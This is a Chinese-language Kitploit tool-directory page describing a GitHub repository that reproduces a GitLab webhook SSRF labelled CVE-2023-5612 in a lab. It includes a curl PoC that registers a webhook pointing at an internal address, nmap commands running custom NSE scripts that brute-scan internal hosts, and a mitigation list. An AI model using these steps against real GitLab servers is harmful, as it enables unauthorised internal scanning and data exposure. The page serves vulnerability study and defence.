Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Review.CVE-2023-5612 — 通过脚本分析 CVE-2023-5612 | Kitploit
工具/GitHubGitHub/topskiypavelqwertygang/review.cve-2023-5612
侦察网络映射漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubtopskiypavelqwertygang/review.cve-2023-5612

Review.CVE-2023-5612

通过脚本分析 CVE-2023-5612

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
451年前尚未审核

CVE-2023-5612 – GitLab 通过 Webhook URL 的 SSRF(PoC 与分析)

📌 CVE 概览

  • CVE 编号: CVE-2023-5612
  • 严重性: 高(CVSS 基本评分 8.1)
  • 类型: 服务端请求伪造(SSRF)
  • 组件: GitLab CE/EE Webhooks
  • 受影响版本: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 描述

GitLab CE/EE 中存在一个 SSRF 漏洞,允许具有有效 Project Maintainer 权限的攻击者通过恶意 webhook URL 向任意内部服务发送精心构造的请求。利用此漏洞可导致内网扫描、元数据泄露或进一步横向移动。


✅ 漏洞利用条件

  • 攻击者拥有项目的 maintainer 权限
  • GitLab 没有严格的过滤或对 webhook URL 进行校验

⚙️ PoC 步骤(手动)

root@kitploit:~
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 环境与搭建

root@kitploit:~
- 在专门为测试部署的虚拟机中运行 Kali Linux
- 通过 Docker 拉起一个存在漏洞的 GitLab CE 实例(端口 8080)
- 在 GitLab 内部:
  - 创建了一个测试项目
  - 生成了一个具有 Maintainer 权限的 Personal Access Token (glpat-...)
- 在 127.0.0.1:8888 上启动了一个最小的 HTTP 服务作为内部 SSRF 目标

🧠 方法论

root@kitploit:~
- 通过 curl 手动确认漏洞(参见 PoC)
- 创建自定义 NSE 脚本:
  - gitlab-ssrf.nse:定点检查 SSRF
  - gitlab-ssrf-brute.nse:自动扫描内部地址
- 使用 nmap -d 和 --script-trace 进行测试,分析 API 行为并记录结果
- 从内部服务收到 401 Unauthorized 响应,表明 SSRF 成功
- 成功的请求将返回 `201 Created` 或类似 `401 Unauthorized` 的错误,这表示 SSRF 访问成功。

🛠 NSE 脚本(手动触发)

root@kitploit:~
nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 NSE 脚本(暴力扫描内部 URL)

root@kitploit:~
nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 结论

root@kitploit:~
在针对 **CVE-2023-5612** 漏洞的工作中,我们成功复现了一个通过 GitLab CE API 访问内部地址的 SSRF 攻击场景。这充分说明了限制 webhook 能力以及在服务器端实施 URL 验证的重要性。

🎯 目标完成:

  • SSRF 已确认
  • NSE 工具集已实现
  • 项目已记录并向社区开放

📂 仓库结构

root@kitploit:~
.
├── gitlab-ssrf.nse             # 用于手动 SSRF 验证的 NSE 脚本
├── gitlab-ssrf-brute.nse       # 用于扫描内部主机/端口的 NSE 暴力扫描脚本
├── screenshots/                # PoC 执行截图及漏洞确认截图
└── README.md                   # 本文件

🖼 截图

  • ✅ 成功 SSRF 并返回 401 Unauthorized
  • 📜 nmap 日志及脚本执行情况
  • 📦 通过 API 添加 webhook

⚠️ 缓解措施

  • 升级 GitLab 至 >= 16.2.7 / 16.3.4 / 16.4.1
  • 通过出口防火墙限制出站 HTTP
  • 对 webhook 使用内部白名单

🧠 作者与联系方式

Pavel Topskiy
GitHub • 安全分析师,红队分析师


📅 时间线

  • 2025 年 6 月: 分析 PoC 及漏洞
  • 2025 年 6 月 5 日: 编写自定义 NSE 脚本并进行测试

🔐 免责声明

所有测试均在隔离的实验室环境中,针对故意存在漏洞的版本进行。请勿在未经授权的系统上使用本内容。请遵守道德黑客原则。

下载工具